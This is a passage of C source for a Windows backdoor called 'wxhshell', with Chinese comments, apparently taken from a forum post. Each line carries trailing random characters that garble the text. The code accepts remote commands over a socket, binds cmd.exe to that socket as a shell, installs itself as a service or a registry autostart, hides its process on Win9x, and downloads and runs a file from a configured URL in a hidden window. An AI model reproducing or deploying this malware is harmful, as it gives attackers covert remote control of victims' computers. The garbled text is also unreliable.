rd4mAX6@  
    switch(cmd[0]) { '| bHu  
  td\'BV  
  // 帮助 gl!F)RdH  
  case '?': { &cB +la\_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x_.}C%  
    break; T6Ks]6m_  
  } CeW}z kcT  
  // 安装 l08JL  
  case 'i': { BMovl4*5  
    if(Install()) nO .:f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Tlz~o[`&  
    else r>x>aJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); be:=-B7!  
    break; zc%HBZ3p  
    } F`JW&r\  
  // 卸载 qJT|om L Y  
  case 'r': { G;v3kGn  
    if(Uninstall()) #EX NSr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yU< "tgE  
    else ]5j1p6;(`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uw9w{3]0f  
    break; @w@ `-1  
    } $z'_Hr'  
  // 显示 wxhshell 所在路径 :, Ad1(  
  case 'p': { L|K^w *\C  
    char svExeFile[MAX_PATH]; 9:]|TIPi  
    strcpy(svExeFile,"\n\r"); FpFkZFtG'm  
      strcat(svExeFile,ExeFile); .V?>Jhok  
        send(wsh,svExeFile,strlen(svExeFile),0); "c0Nv8_G  
    break; 5!}fd/}Uk  
    } H5?H{  
  // 重启 \:`-"Ou(*  
  case 'b': { ^U0)iz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L<H6AzR+  
    if(Boot(REBOOT)) EGJrnz8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m00 5*>IY  
    else { /faP@Q3kR  
    closesocket(wsh); y`p(}X`>  
    ExitThread(0); J#*R]LU|  
    } >J_%'%%f  
    break; Gjo&~*;  
    } nj5Hls  
  // 关机 l\1_v7s  
  case 'd': { iE=:}"pI"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); LCkaSv/[RB  
    if(Boot(SHUTDOWN))  o C#W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _Q6` Wp6m  
    else { b<"LUM*;  
    closesocket(wsh); EawtT  
    ExitThread(0); PHQ99&F1  
    } pm k;5 d  
    break; X UcM~U-  
    } G=qT{c 8Q  
  // 获取shell OysO55i  
  case 's': { |g8Q.*"l[  
    CmdShell(wsh); f`"@7-N  
    closesocket(wsh); p-,(P+Np  
    ExitThread(0); 8$y5) ~Q  
    break; 7Hzv-s  
  } 7=[/J*-m  
  // 退出 R?H[{A X  
  case 'x': { =>,X)+O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %6HJM| {H  
    CloseIt(wsh); k9 NPC"  
    break; g RBbL1  
    } F=r`'\JV[  
  // 离开 o1]ZeF  
  case 'q': { 1OW#_4w/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Q<d|OX  
    closesocket(wsh); -Gmg&yQ9  
    WSACleanup(); n>i}O!agg  
    exit(1); e.? ;mD  
    break; f~Q]"I8w  
        } #5}v?  
  } /E<:=DD<  
  } i!dQ Sdf  
d+158qQOh]  
  // 提示信息 +EE(d/ f  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W+D{4:  
} RLr^6+v)U  
  } ?-D'xqc  
~sbn"OS +  
  return; nh? ~S`  
} fMZzR|_18  
Q _ M:v  
// shell模块句柄 fs6 % M]u  
int CmdShell(SOCKET sock) kl i)6R<  
{ T@x_}a:g  
STARTUPINFO si; <n{-& ;>  
ZeroMemory(&si,sizeof(si)); ;LE9w^>^V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >}'WL($5U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W@FRKDixG  
PROCESS_INFORMATION ProcessInfo; ~Op~~ m  
char cmdline[]="cmd"; |]'0z0>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C}8 3t~Q  
  return 0; k~HS_b*]d  
} gtlyQ _V  
?)L X4GY  
// 自身启动模式 ]q CCCI`  
int StartFromService(void) m.2=,,r<Fq  
{ %Tm8sQ)1  
typedef struct B7ty*)i?  
{ q_[V9  
  DWORD ExitStatus; Z"Byv.yqb  
  DWORD PebBaseAddress; +[Zcz4\9  
  DWORD AffinityMask; ^b@&O-&s  
  DWORD BasePriority; o0\d`0-el  
  ULONG UniqueProcessId; 2V)qnMxAZJ  
  ULONG InheritedFromUniqueProcessId; '7(oCab"_  
}   PROCESS_BASIC_INFORMATION; *nc9 u"  
$KMxq=  
PROCNTQSIP NtQueryInformationProcess; 6h3TU,$r  
fs;pX/:FR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 4NxI:d$&*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ePxwN?  
.}x:yKyi@  
  HANDLE             hProcess; Gn} ^BJN  
  PROCESS_BASIC_INFORMATION pbi; GG$&=.$  
h&j9'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )R@M~d-o  
  if(NULL == hInst ) return 0; *Ph@XkhU  
UcxMA%Pw7$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >nOzz0,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +!Lz]@9K  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); iDrQ4>  
Y4)v>&H  
  if (!NtQueryInformationProcess) return 0; .BjnV%l7Id  
<Pg<F[eDM  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  TDR2){I  
  if(!hProcess) return 0; G0&'B6I>  
6*tbil_G+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &=`6- J  
z)0%gd|  
  CloseHandle(hProcess); $mLiEsJ  
v7@O ,%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @1^:V-=  
if(hProcess==NULL) return 0; E!zAUEVQm[  
T,SCK^  
HMODULE hMod; PuoN<9 #  
char procName[255]; ZKco  
unsigned long cbNeeded; _ pKWDMB$z  
m. DC  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); VaLl$w  
f%cbBx^;  
  CloseHandle(hProcess); ztHEXM.  
> J>|+W  
if(strstr(procName,"services")) return 1; // 以服务启动 F|{F'UXj|  
#23m_w^L  
  return 0; // 注册表启动 4 N{5i )  
} ]n$&|@  
9_I#{ ?  
// 主模块 QLum=YB  
int StartWxhshell(LPSTR lpCmdLine) n9x&Ws;  
{ ! tPHT  
  SOCKET wsl; o dTg.m  
BOOL val=TRUE; gt{$G|bi  
  int port=0; 'W]oQLD^R  
  struct sockaddr_in door; -e(,>9Q  
6> Ca O  
  if(wscfg.ws_autoins) Install(); o; N s-=  
StWF66u34&  
port=atoi(lpCmdLine); 6kM'f}t[C  
;gmfWHB<  
if(port<=0) port=wscfg.ws_port; Y%A KN  
g"o),$tm  
  WSADATA data; ?2$0aq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  Im8c  
KuohUH+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   SdOE^_@:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); U)y~{E~c34  
  door.sin_family = AF_INET; [V_?`M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); JHIXTy__  
  door.sin_port = htons(port); kFsq23Ne  
U**v'%{s  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4C[n@ p2  
closesocket(wsl); Th(F^W9  
return 1; Eh*t;J=O  
} W99Hq1W;r  
<;.->73E  
  if(listen(wsl,2) == INVALID_SOCKET) { PZsq9;P$  
closesocket(wsl); I7/X6^/}  
return 1; /'g"Ys?3  
} UZ}>@0  
  Wxhshell(wsl); UOtrq=y  
  WSACleanup(); EU@XLm6  
)}i;OLw-  
return 0; Q1(6U6L  
jYi{[* *  
} iJD_ qhd7  
6*r3T:u3  
// 以NT服务方式启动 Q($aN-   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 2lm{:tS  
{ *N|s+  
DWORD   status = 0; y/}ENUGR  
  DWORD   specificError = 0xfffffff; a{%]X(';  
Y^P'slY{%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; b/g"ws_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; l5bd);L tq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^vH3 -A;*  
  serviceStatus.dwWin32ExitCode     = 0; SuU %x2  
  serviceStatus.dwServiceSpecificExitCode = 0; b$Ch2Qz0q  
  serviceStatus.dwCheckPoint       = 0; 6a\YD{D] _  
  serviceStatus.dwWaitHint       = 0; dx It.h   
`GD>3-   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %B{NH~  
  if (hServiceStatusHandle==0) return; {f }4l  
Ap [}[:U  
status = GetLastError(); qmJ^@dxs  
  if (status!=NO_ERROR) 5{uK;Vxse  
{ ' y9yx[P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Md4JaFA(  
    serviceStatus.dwCheckPoint       = 0; '5n67Hl 1  
    serviceStatus.dwWaitHint       = 0; ,J0BG0jB^u  
    serviceStatus.dwWin32ExitCode     = status; wRi` L7  
    serviceStatus.dwServiceSpecificExitCode = specificError; j/9Uf|z-_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); u/8urxp y  
    return; lC&B4zec  
  } /P-Eg86V'  
umo@JWr  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; fsDwfwil*  
  serviceStatus.dwCheckPoint       = 0; >IzUn: 0F  
  serviceStatus.dwWaitHint       = 0; td6$w:SN,l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @xI:ZtM  
}  4[] /  
"x)xjL  
// 处理NT服务事件,比如:启动、停止 F]SA1ry  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $SmmrM  
{ =1}Umn|ZLS  
switch(fdwControl) *NDM{WB|)  
{ HX3R@^vo  
case SERVICE_CONTROL_STOP: Ka"Z,\T   
  serviceStatus.dwWin32ExitCode = 0; o?$B<Cb"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &4ScwK:  
  serviceStatus.dwCheckPoint   = 0; = NHzh!  
  serviceStatus.dwWaitHint     = 0; WhR j@y  
  { 0H-~-z8Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {LLy4m  
  } KiJRq>  
  return; M9/c8zZ  
case SERVICE_CONTROL_PAUSE: JM@}+pX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Vp'Zm:  
  break; :2KLziO2  
case SERVICE_CONTROL_CONTINUE: UA|A>c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; x1}7c9n K  
  break; u0@i3Po  
case SERVICE_CONTROL_INTERROGATE: j5EZJ`  
  break; ~$8t/c  
}; hF!t{ Lf3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v3i]z9`  
} !)(c_ uz  
. .|>|X4  
// 标准应用程序主函数 2y&m8_s-p  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z/wK UK;  
{ 0DBA 'Cv  
`KgWaf-  
// 获取操作系统版本 Y70[Nz  
OsIsNt=GetOsVer(); bJo)rM :m  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 65ctxxWv1  
9aR-kcvJIJ  
  // 从命令行安装 9$z|kwU  
  if(strpbrk(lpCmdLine,"iI")) Install(); E,[@jxP  
G' ~Z'  
  // 下载执行文件 5UQz6DK  
if(wscfg.ws_downexe) { [`~E)B1Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >h0iq  
  WinExec(wscfg.ws_filenam,SW_HIDE); R`wL%I!?f  
} 6_m5%c~;+r  
\tj7Jy  
if(!OsIsNt) { "Z&-:1tP{9  
// 如果时win9x,隐藏进程并且设置为注册表启动 <#s=78 g.3  
HideProc(); 1 XAXokxj  
StartWxhshell(lpCmdLine); gJ_{V;R  
} -Cjc~{B>7X  
else 2Qqk?;^ 1  
  if(StartFromService()) }hralef #N  
  // 以服务方式启动 UvSvgDMl  
  StartServiceCtrlDispatcher(DispatchTable); iwnctI  
else Zr0bVe+h  
  // 普通方式启动 B>3joe}  
  StartWxhshell(lpCmdLine); Zz<k^  
hpD\,  
return 0; y\DR,$Py  
}
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只看该作者 1 发表于: 2006-10-10
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